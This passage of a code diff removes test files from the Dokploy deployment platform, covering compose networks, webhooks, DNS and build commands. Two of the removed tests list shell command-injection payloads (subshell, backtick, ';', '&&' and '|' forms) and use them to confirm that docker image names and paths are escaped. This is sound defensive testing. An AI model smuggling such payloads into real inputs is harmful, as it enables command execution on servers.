-	declareUsedNetworksInRoot,
-	resolveServiceNetworks,
-} from "@dokploy/server";
-import { db } from "@dokploy/server/db";
-import { beforeEach, expect, test, type vi } from "vitest";
-import { parse } from "yaml";
-
-const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
-
-beforeEach(() => {
-	findManyMock.mockReset();
-	findManyMock.mockResolvedValue([]);
-});
-
-const baseCompose = {
-	serverId: null,
-	isolatedDeployment: false,
-} as unknown as Compose;
-
-const withServiceNetworks = (
-	serviceNetworks: Compose["serviceNetworks"],
-): Compose => ({ ...baseCompose, serviceNetworks });
-
-test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(result, withServiceNetworks([]));
-
-	expect(injected.size).toBe(0);
-	expect(result.services?.web?.networks).toBeUndefined();
-	expect(findManyMock).not.toHaveBeenCalled();
-});
-
-test("applyServiceNetworks: injects assigned network by networkId", async () => {
-	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
-
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{
-				serviceName: "web",
-				networkIds: ["net-1"],
-				detachDokployNetwork: false,
-			},
-		]),
-	);
-
-	expect(injected.has("shared-net")).toBe(true);
-	expect(result.services?.web?.networks).toContain("shared-net");
-});
-
-test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
-	const result = parse(`
-services:
-  db:
-    image: postgres
-    networks:
-      - dokploy-network
-      - default
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
-		]),
-	);
-
-	expect(injected.size).toBe(0);
-	expect(result.services?.db?.networks).not.toContain("dokploy-network");
-	expect(result.services?.db?.networks).not.toContain("default");
-});
-
-test("applyServiceNetworks: unknown networkId is skipped", async () => {
-	findManyMock.mockResolvedValue([]);
-
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{
-				serviceName: "web",
-				networkIds: ["missing"],
-				detachDokployNetwork: false,
-			},
-		]),
-	);
-
-	expect(injected.size).toBe(0);
-});
-
-test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
-	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
-
-	const result = parse(`
-services:
-  web:
-    image: nginx
-`) as ComposeSpecification;
-
-	const injected = await applyServiceNetworks(
-		result,
-		withServiceNetworks([
-			{
-				serviceName: "ghost",
-				networkIds: ["net-1"],
-				detachDokployNetwork: false,
-			},
-		]),
-	);
-
-	expect(injected.size).toBe(0);
-	expect(result.services?.web?.networks).toBeUndefined();
-});
-
-test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
-	const used = parse(`
-services:
-  web:
-    image: nginx
-    networks:
-      - dokploy-network
-`) as ComposeSpecification;
-	declareUsedNetworksInRoot(used, new Set());
-	expect(used.networks).toHaveProperty("dokploy-network");
-
-	const unused = parse(`
-services:
-  web:
-    image: nginx
-    networks:
-      - default
-`) as ComposeSpecification;
-	declareUsedNetworksInRoot(unused, new Set());
-	expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
-});
-
-test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
-	const result = parse(`
-services:
-  web:
-    image: nginx
-    networks:
-      - shared-net
-`) as ComposeSpecification;
-
-	declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
-
-	expect(result.networks).toHaveProperty("shared-net");
-	expect(result.networks ?? {}).not.toHaveProperty("unused-net");
-});
-
-test("resolveServiceNetworks: returns dokploy-network by default", async () => {
-	const resolved = await resolveServiceNetworks({});
-	expect(resolved).toEqual([{ Target: "dokploy-network" }]);
-	expect(findManyMock).not.toHaveBeenCalled();
-});
-
-test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
-	const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
-	expect(resolved).toEqual([]);
-});
-
-test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
-	findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
-
-	const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
-
-	expect(resolved).toEqual([
-		{ Target: "dokploy-network" },
-		{ Target: "overlay-a" },
-	]);
-});
-
-test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
-	const override = [{ Target: "custom-net" }];
-	const resolved = await resolveServiceNetworks({ networkSwarm: override });
-
-	expect(resolved).toBe(override);
-	expect(findManyMock).not.toHaveBeenCalled();
-});

apps/dokploy/__test__/compose/volume/volume-services.test.ts

@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
 	);
 });
 
-const composeFileAccessMode = `
-version: "3.8"
-
-services:
-  web:
-    image: nginx:alpine
-    volumes:
-      - web_config:/etc/nginx/conf.d:ro
-      - certs/sub:/etc/certs:Z
-`;
-
-test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
-	const composeData = parse(composeFileAccessMode) as ComposeSpecification;
-
-	const suffix = generateRandomHash();
-
-	if (!composeData.services) {
-		return;
-	}
-
-	const updatedComposeData = addSuffixToVolumesInServices(
-		composeData.services,
-		suffix,
-	);
-
-	expect(updatedComposeData.web?.volumes).toContain(
-		`web_config-${suffix}:/etc/nginx/conf.d:ro`,
-	);
-	expect(updatedComposeData.web?.volumes).toContain(
-		`certs-${suffix}/sub:/etc/certs:Z`,
-	);
-});
-
 const composeFileTypeVolume = `
 version: "3.8"
 

apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts

@@ -1,41 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
-// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
-// path. `docker` is replaced by `:` so only the injection surface is exercised.
-const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
-
-const PAYLOADS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"redis:7; touch %MARK%",
-	"redis:7 && touch %MARK%",
-	"redis:7 | touch %MARK%",
-];
-
-describe("database service dockerImage command injection", () => {
-	it("does not execute injected commands from dockerImage", () => {
-		for (const template of PAYLOADS) {
-			if (existsSync(MARK)) rmSync(MARK);
-			const dockerImage = template.replace("%MARK%", MARK);
-			const command = `: pull ${quote([dockerImage])}`;
-			try {
-				execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-			} catch {}
-			expect(existsSync(MARK)).toBe(false);
-		}
-		if (existsSync(MARK)) rmSync(MARK);
-	});
-
-	it("keeps a legitimate image tag intact", () => {
-		expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
-			"postgres:16.4-alpine",
-		]);
-		expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
-			"ghcr.io/org/db:latest",
-		]);
-	});
-});

apps/dokploy/__test__/deploy/docker-build-injection.test.ts

@@ -1,66 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// Reproduces the escaping applied at the docker build/pull sinks and asserts no
-// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
-// test exercises only the injection surface, not real docker.
-const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
-
-const runAndCheckSafe = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {
-		// no-op stand-ins may exit non-zero; only the marker matters.
-	}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"x; touch %MARK%",
-	"x && touch %MARK%",
-	"x | touch %MARK%",
-];
-
-describe("docker build/pull command injection", () => {
-	it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const dockerImage = p.replace("%MARK%", MARK);
-			const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("dockerContextPath (docker-file: cd) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const dockerContextPath = p.replace("%MARK%", MARK);
-			const command = `: cd ${quote([dockerContextPath])}`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const publishDirectory = p.replace("%MARK%", MARK);
-			const containerId = "buildabc";
-			const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("keeps a legitimate image / path intact as a single token", () => {
-		// Escaping may add backslashes (e.g. before ':'), but the shell must parse
-		// the result back to exactly the original single token.
-		expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
-		expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
-			"registry.io/team/app:tag",
-		]);
-		expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
-	});
-});

apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts

@@ -1,43 +0,0 @@
-import { execFileSync } from "node:child_process";
-import { mkdirSync, readFileSync, rmSync } from "node:fs";
-import { join } from "node:path";
-import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
-import { parse } from "dotenv";
-import { afterEach, describe, expect, it } from "vitest";
-
-// Unlike compose's .env, this one is read by the app's own build tooling
-// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
-const appName = `env-file-literals-dockerfile-${process.pid}`;
-const projectPath = join(process.cwd(), ".docker", "compose", appName);
-const codePath = join(projectPath, "code");
-const dockerFilePath = join(codePath, "Dockerfile");
-
-afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
-
-const cases: Record<string, string> = {
-	PASSWORD: "pa$$word",
-	NESTED_JSON: '{"nested":{"a":1}}',
-	QUOTE_INSIDE: 'she said "hi"',
-	BACKSLASH: "back\\slash",
-	UNICODE: "héllo wörld 日本語 🚀",
-};
-
-describe("createEnvFileCommand", () => {
-	it("writes special environment values that a generic dotenv parser reads back literally", () => {
-		mkdirSync(codePath, { recursive: true });
-
-		const serviceEnv = Object.entries(cases)
-			.map(([key, value]) => `${key}=${value}`)
-			.join("\n");
-
-		const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
-		execFileSync("bash", ["-c", command]);
-
-		const written = readFileSync(join(codePath, ".env"), "utf8");
-		const parsed = parse(written);
-
-		for (const [key, value] of Object.entries(cases)) {
-			expect(parsed[key], key).toBe(value);
-		}
-	});
-});

apps/dokploy/__test__/deploy/github-webhook-handler.test.ts

@@ -1,323 +0,0 @@
-import type { NextApiRequest, NextApiResponse } from "next";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mocks = vi.hoisted(() => ({
-	eq: vi.fn((field: string, value: unknown) => ({ field, value })),
-	and: vi.fn((...conditions: Array<{ field: string; value: unknown }>) => ({
-		conditions,
-	})),
-	githubFindFirst: vi.fn(),
-	applicationsFindMany: vi.fn(),
-	composeFindMany: vi.fn(),
-	queueAdd: vi.fn(),
-	verify: vi.fn(),
-	shouldDeploy: vi.fn(),
-}));
-
-vi.mock("drizzle-orm", () => ({
-	eq: mocks.eq,
-	and: mocks.and,
-}));
-
-vi.mock("@/server/db/schema", () => ({
-	applications: {
-		sourceType: "application.sourceType",
-		autoDeploy: "application.autoDeploy",
-		triggerType: "application.triggerType",
-		branch: "application.branch",
-		repository: "application.repository",
-		owner: "application.owner",
-		githubId: "application.githubId",
-		isPreviewDeploymentsActive: "application.isPreviewDeploymentsActive",
-	},
-	compose: {
-		sourceType: "compose.sourceType",
-		autoDeploy: "compose.autoDeploy",
-		triggerType: "compose.triggerType",
-		branch: "compose.branch",
-		repository: "compose.repository",
-		owner: "compose.owner",
-		githubId: "compose.githubId",
-	},
-	github: {
-		githubInstallationId: "github.githubInstallationId",
-	},
-}));
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: {
-			github: {
-				findFirst: mocks.githubFindFirst,
-			},
-			applications: {
-				findMany: mocks.applicationsFindMany,
-			},
-			compose: {
-				findMany: mocks.composeFindMany,
-			},
-		},
-	},
-}));
-
-vi.mock("@dokploy/server", () => ({
-	IS_CLOUD: false,
-	shouldDeploy: mocks.shouldDeploy,
-	checkUserRepositoryPermissions: vi.fn(),
-	createPreviewDeployment: vi.fn(),
-	createSecurityBlockedComment: vi.fn(),
-	findGithubById: vi.fn(),
-	findPreviewDeploymentByApplicationId: vi.fn(),
-	findPreviewDeploymentsByPullRequestId: vi.fn(),
-	getBitbucketHeaders: vi.fn(() => ({})),
-	removePreviewDeployment: vi.fn(),
-}));
-
-vi.mock("@octokit/webhooks", () => ({
-	Webhooks: vi.fn().mockImplementation(function Webhooks() {
-		return {
-			verify: mocks.verify,
-		};
-	}),
-}));
-
-vi.mock("@/server/queues/queueSetup", () => ({
-	myQueue: {
-		add: mocks.queueAdd,
-	},
-}));
-
-vi.mock("@/server/utils/deploy", () => ({
-	deploy: vi.fn(),
-}));
-
-import handler from "@/pages/api/deploy/github";
-
-const getConditionValue = (
-	where: { conditions?: Array<{ field: string; value: unknown }> } | undefined,
-	field: string,
-) => where?.conditions?.find((condition) => condition.field === field)?.value;
-
-const createResponse = () => {
-	const res = {
-		status: vi.fn(),
-		json: vi.fn(),
-	} as unknown as NextApiResponse & {
-		status: ReturnType<typeof vi.fn>;
-		json: ReturnType<typeof vi.fn>;
-	};
-
-	res.status.mockImplementation(() => res);
-	res.json.mockImplementation(() => res);
-
-	return res;
-};
-
-const createPushRequest = (
-	branch: string,
-	owner: { login?: string; name?: string } = { login: "agentHits" },
-) =>
-	({
-		headers: {
-			"x-hub-signature-256": "sha256=test-signature",
-			"x-github-event": "push",
-		},
-		body: {
-			installation: {
-				id: 12345,
-			},
-			ref: `refs/heads/${branch}`,
-			after: "abc123",
-			head_commit: {
-				message: "fix: trigger deployment",
-			},
-			commits: [
-				{
-					modified: ["src/index.ts"],
-				},
-			],
-			repository: {
-				name: "dokploy",
-				full_name: "agentHits/dokploy",
-				clone_url: "https://github.com/agentHits/dokploy.git",
-				html_url: "https://github.com/agentHits/dokploy",
-				owner,
-			},
-		},
-	}) as unknown as NextApiRequest;
-
-const createTagRequest = (tagName: string) => {
-	const req = createPushRequest("main") as unknown as {
-		body: { ref: string; head_commit: { message: string } };
-	};
-
-	req.body.ref = `refs/tags/${tagName}`;
-	req.body.head_commit.message = `release: ${tagName}`;
-
-	return req as unknown as NextApiRequest;
-};
-
-describe("GitHub app webhook auto-deploy", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-		mocks.githubFindFirst.mockResolvedValue({
-			githubId: "github-provider-id",
-			githubInstallationId: 12345,
-			githubWebhookSecret: "webhook-secret",
-		});
-		mocks.verify.mockResolvedValue(true);
-		mocks.shouldDeploy.mockReturnValue(true);
-		mocks.composeFindMany.mockResolvedValue([]);
-		mocks.queueAdd.mockResolvedValue({ id: "job-id" });
-
-		mocks.applicationsFindMany.mockImplementation(({ where }) => {
-			const matches =
-				getConditionValue(where, "application.sourceType") === "github" &&
-				getConditionValue(where, "application.autoDeploy") === true &&
-				getConditionValue(where, "application.triggerType") === "push" &&
-				getConditionValue(where, "application.branch") === "main" &&
-				getConditionValue(where, "application.repository") === "dokploy" &&
-				getConditionValue(where, "application.owner") === "agentHits" &&
-				getConditionValue(where, "application.githubId") ===
-					"github-provider-id";
-
-			return Promise.resolve(
-				matches
-					? [
-							{
-								applicationId: "application-id",
-								serverId: null,
-								watchPaths: null,
-							},
-						]
-					: [],
-			);
-		});
-	});
-
-	it("matches push events using repository owner name when available", async () => {
-		const res = createResponse();
-
-		await handler(
-			createPushRequest("main", {
-				login: "agentHits-login",
-				name: "agentHits",
-			}),
-			res,
-		);
-
-		expect(mocks.queueAdd).toHaveBeenCalledWith(
-			"deployments",
-			expect.objectContaining({
-				applicationId: "application-id",
-				applicationType: "application",
-				type: "deploy",
-			}),
-			expect.objectContaining({
-				removeOnComplete: true,
-				removeOnFail: true,
-			}),
-		);
-		expect(res.status).toHaveBeenCalledWith(200);
-		expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
-	});
-
-	it("matches compose push events using repository owner login fallback", async () => {
-		mocks.applicationsFindMany.mockResolvedValue([]);
-		mocks.composeFindMany.mockImplementation(({ where }) => {
-			const matches =
-				getConditionValue(where, "compose.sourceType") === "github" &&
-				getConditionValue(where, "compose.autoDeploy") === true &&
-				getConditionValue(where, "compose.triggerType") === "push" &&
-				getConditionValue(where, "compose.branch") === "main" &&
-				getConditionValue(where, "compose.repository") === "dokploy" &&
-				getConditionValue(where, "compose.owner") === "agentHits" &&
-				getConditionValue(where, "compose.githubId") === "github-provider-id";
-
-			return Promise.resolve(
-				matches
-					? [
-							{
-								composeId: "compose-id",
-								serverId: null,
-								watchPaths: null,
-							},
-						]
-					: [],
-			);
-		});
-		const res = createResponse();
-
-		await handler(createPushRequest("main"), res);
-
-		expect(mocks.queueAdd).toHaveBeenCalledWith(
-			"deployments",
-			expect.objectContaining({
-				applicationType: "compose",
-				composeId: "compose-id",
-				type: "deploy",
-			}),
-			expect.objectContaining({
-				removeOnComplete: true,
-				removeOnFail: true,
-			}),
-		);
-		expect(res.status).toHaveBeenCalledWith(200);
-		expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
-	});
-
-	it("matches tag events using repository owner login fallback", async () => {
-		mocks.applicationsFindMany.mockImplementation(({ where }) => {
-			const matches =
-				getConditionValue(where, "application.sourceType") === "github" &&
-				getConditionValue(where, "application.autoDeploy") === true &&
-				getConditionValue(where, "application.triggerType") === "tag" &&
-				getConditionValue(where, "application.repository") === "dokploy" &&
-				getConditionValue(where, "application.owner") === "agentHits" &&
-				getConditionValue(where, "application.githubId") ===
-					"github-provider-id";
-
-			return Promise.resolve(
-				matches
-					? [
-							{
-								applicationId: "application-id",
-								serverId: null,
-							},
-						]
-					: [],
-			);
-		});
-		const res = createResponse();
-
-		await handler(createTagRequest("v1.0.0"), res);
-
-		expect(mocks.queueAdd).toHaveBeenCalledWith(
-			"deployments",
-			expect.objectContaining({
-				applicationId: "application-id",
-				applicationType: "application",
-				titleLog: "Tag created: v1.0.0",
-				type: "deploy",
-			}),
-			expect.objectContaining({
-				removeOnComplete: true,
-				removeOnFail: true,
-			}),
-		);
-		expect(res.status).toHaveBeenCalledWith(200);
-		expect(res.json).toHaveBeenCalledWith({
-			message: "Deployed 1 apps based on tag v1.0.0",
-		});
-	});
-
-	it("does not deploy when the pushed branch does not match", async () => {
-		const res = createResponse();
-
-		await handler(createPushRequest("feature"), res);
-
-		expect(mocks.queueAdd).not.toHaveBeenCalled();
-		expect(res.status).toHaveBeenCalledWith(200);
-		expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
-	});
-});

apps/dokploy/__test__/deploy/railpack.command.test.ts

@@ -1,104 +0,0 @@
-import type { ApplicationNested } from "@dokploy/server/utils/builders";
-import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
-import { describe, expect, it } from "vitest";
-
-const createApplication = (
-	overrides: Partial<ApplicationNested> = {},
-): ApplicationNested =>
-	({
-		appName: "test-app",
-		buildType: "railpack",
-		sourceType: "git",
-		buildPath: "/",
-		railpackVersion: "0.15.4",
-		env: "TEST_VAR=one",
-		cleanCache: false,
-		environment: {
-			project: {
-				env: "",
-			},
-			env: "",
-		},
-		...overrides,
-	}) as unknown as ApplicationNested;
-
-const getSecretsHash = (command: string) => {
-	const match = command.match(/secrets-hash=([a-f0-9]{64})/);
-	if (!match?.[1]) {
-		throw new Error("secrets-hash build arg was not found");
-	}
-
-	return match[1];
-};
-
-describe("getRailpackCommand", () => {
-	it("includes secrets-hash without clean cache", () => {
-		const command = getRailpackCommand(createApplication());
-
-		expect(command).toContain("--build-arg secrets-hash=");
-		expect(command).not.toContain("cache-key=");
-	});
-
-	it("includes cache-key only when clean cache is enabled", () => {
-		const command = getRailpackCommand(
-			createApplication({
-				cleanCache: true,
-			}),
-		);
-
-		expect(command).toContain("--build-arg secrets-hash=");
-		expect(command).toContain("--build-arg cache-key=");
-	});
-
-	it("changes secrets-hash when an environment value changes", () => {
-		const firstCommand = getRailpackCommand(
-			createApplication({
-				env: "TEST_VAR=one",
-			}),
-		);
-		const secondCommand = getRailpackCommand(
-			createApplication({
-				env: "TEST_VAR=two",
-			}),
-		);
-
-		expect(getSecretsHash(firstCommand)).not.toEqual(
-			getSecretsHash(secondCommand),
-		);
-	});
-
-	it("changes secrets-hash when referenced project or environment values change", () => {
-		const firstCommand = getRailpackCommand(
-			createApplication({
-				env: [
-					"PROJECT_VALUE=${{project.SHARED_VALUE}}",
-					"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
-				].join("\n"),
-				environment: {
-					project: {
-						env: "SHARED_VALUE=one",
-					},
-					env: "SHARED_VALUE=alpha",
-				},
-			} as Partial<ApplicationNested>),
-		);
-		const secondCommand = getRailpackCommand(
-			createApplication({
-				env: [
-					"PROJECT_VALUE=${{project.SHARED_VALUE}}",
-					"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
-				].join("\n"),
-				environment: {
-					project: {
-						env: "SHARED_VALUE=two",
-					},
-					env: "SHARED_VALUE=beta",
-				},
-			} as Partial<ApplicationNested>),
-		);
-
-		expect(getSecretsHash(firstCommand)).not.toEqual(
-			getSecretsHash(secondCommand),
-		);
-	});
-});

apps/dokploy/__test__/deploy/should-deploy.test.ts

@@ -1,41 +0,0 @@
-import { shouldDeploy } from "@dokploy/server";
-import { describe, expect, it } from "vitest";
-
-describe("shouldDeploy", () => {
-	it("should deploy when no watch paths are configured", () => {
-		expect(shouldDeploy(null, ["src/index.ts"])).toBe(true);
-		expect(shouldDeploy([], ["src/index.ts"])).toBe(true);
-	});
-
-	it("should deploy when watch paths match modified files", () => {
-		expect(shouldDeploy(["src/**"], ["src/index.ts"])).toBe(true);
-		expect(shouldDeploy(["apps/web/**"], ["apps/web/page.tsx"])).toBe(true);
-	});
-
-	it("should not deploy when watch paths do not match", () => {
-		expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
-	});
-
-	it("should not throw when modified files contain non-string values", () => {
-		expect(() =>
-			shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
-		).not.toThrow();
-		expect(
-			shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
-		).toBe(true);
-	});
-
-	it("should not throw when modified files are undefined or null", () => {
-		expect(() => shouldDeploy(["src/**"], undefined)).not.toThrow();
-		expect(() => shouldDeploy(["src/**"], null)).not.toThrow();
-		expect(shouldDeploy(["src/**"], undefined)).toBe(false);
-		expect(shouldDeploy(["src/**"], null)).toBe(false);
-	});
-
-	it("should not throw when every modified file is non-string", () => {
-		expect(() =>
-			shouldDeploy(["src/**"], [undefined, undefined] as any),
-		).not.toThrow();
-		expect(shouldDeploy(["src/**"], [undefined, undefined] as any)).toBe(false);
-	});
-});

apps/dokploy/__test__/dns/cloudflare.test.ts

@@ -1,214 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mockFetch = vi.fn();
-global.fetch = mockFetch as typeof fetch;
-
-import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
-
-const jsonResponse = (body: unknown, ok = true, status = 200) =>
-	({
-		ok,
-		status,
-		json: async () => body,
-	}) as Response;
-
-const cfSuccess = (result: unknown) =>
-	jsonResponse({ success: true, errors: [], result });
-
-const cfError = (message: string, status = 400) =>
-	jsonResponse(
-		{ success: false, errors: [{ code: 1, message }] },
-		false,
-		status,
-	);
-
-const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
-
-beforeEach(() => {
-	mockFetch.mockReset();
-});
-
-describe("cloudflareClient.listZones", () => {
-	it("returns a single page of zones", async () => {
-		mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
-
-		const zones = await cloudflareClient.listZones(config);
-
-		expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		const [url] = mockFetch.mock.calls[0] as [string];
-		expect(url).toContain("/zones?per_page=50&page=1");
-	});
-
-	it("paginates until a short page is returned", async () => {
-		const page = (count: number) =>
-			cfSuccess(
-				Array.from({ length: count }, (_, i) => ({
-					id: `z${i}`,
-					name: `zone${i}.com`,
-				})),
-			);
-		mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
-
-		const zones = await cloudflareClient.listZones(config);
-
-		expect(zones).toHaveLength(53);
-		expect(mockFetch).toHaveBeenCalledTimes(2);
-		expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
-	});
-});
-
-describe("cloudflareClient.listRecords", () => {
-	it("lists records for a zone", async () => {
-		mockFetch.mockResolvedValue(
-			cfSuccess([
-				{
-					id: "r1",
-					type: "A",
-					name: "app.example.com",
-					content: "1.2.3.4",
-					ttl: 1,
-				},
-			]),
-		);
-
-		const records = await cloudflareClient.listRecords(config, "zone-1");
-
-		expect(records).toEqual([
-			{
-				id: "r1",
-				type: "A",
-				name: "app.example.com",
-				content: "1.2.3.4",
-				ttl: 1,
-			},
-		]);
-		expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
-	});
-});
-
-describe("cloudflareClient.upsertRecord", () => {
-	it("creates a record when none exists for the name/type", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
-
-		const result = await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "new-1" });
-		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(createInit.method).toBe("POST");
-	});
-
-	it("updates the existing record instead of creating a duplicate", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
-			.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
-
-		const result = await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "A",
-			name: "app.example.com",
-			content: "5.6.7.8",
-		});
-
-		expect(result).toEqual({ id: "existing-1" });
-		const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
-			string,
-			RequestInit,
-		];
-		expect(updateUrl).toContain("/dns_records/existing-1");
-		expect(updateInit.method).toBe("PUT");
-	});
-
-	it("defaults ttl to 1 (automatic) when not provided", async () => {
-		mockFetch
-			.mockResolvedValueOnce(cfSuccess([]))
-			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
-
-		await cloudflareClient.upsertRecord(config, {
-			zoneId: "zone-1",
-			type: "CNAME",
-			name: "www.example.com",
-			content: "example.com",
-		});
-
-		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
-		const body = JSON.parse(createInit.body as string);
-		expect(body.ttl).toBe(1);
-	});
-});
-
-describe("cloudflareClient.updateRecord", () => {
-	it("PUTs directly to the given record id", async () => {
-		mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
-
-		const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
-			type: "A",
-			name: "app.example.com",
-			content: "9.9.9.9",
-			ttl: 300,
-		});
-
-		expect(result).toEqual({ id: "r1" });
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toContain("/zones/zone-1/dns_records/r1");
-		expect(init.method).toBe("PUT");
-		expect(JSON.parse(init.body as string)).toEqual({
-			type: "A",
-			name: "app.example.com",
-			content: "9.9.9.9",
-			ttl: 300,
-		});
-	});
-});
-
-describe("cloudflareClient.deleteRecord", () => {
-	it("DELETEs the given record id", async () => {
-		mockFetch.mockResolvedValue(cfSuccess({}));
-
-		await cloudflareClient.deleteRecord(config, "zone-1", "r1");
-
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toContain("/zones/zone-1/dns_records/r1");
-		expect(init.method).toBe("DELETE");
-	});
-});
-
-describe("cloudflareClient.testConnection", () => {
-	it("succeeds when the token can list zones", async () => {
-		mockFetch.mockResolvedValue(cfSuccess([]));
-		await expect(
-			cloudflareClient.testConnection(config),
-		).resolves.toBeUndefined();
-	});
-
-	it("surfaces Cloudflare's error message on an invalid token", async () => {
-		mockFetch.mockResolvedValue(cfError("Invalid API Token"));
-
-		await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
-			"Invalid API Token",
-		);
-	});
-});
-
-describe("cloudflareClient auth header", () => {
-	it("trims whitespace pasted into the token", async () => {
-		mockFetch.mockResolvedValue(cfSuccess([]));
-
-		await cloudflareClient.testConnection({
-			providerType: "cloudflare",
-			apiToken: "  cf-token\n",
-		});
-
-		const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect((init.headers as Record<string, string>).Authorization).toBe(
-			"Bearer cf-token",
-		);
-	});
-});

apps/dokploy/__test__/dns/dns-provider-service.test.ts

@@ -1,116 +0,0 @@
-import { describe, expect, it, vi } from "vitest";
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
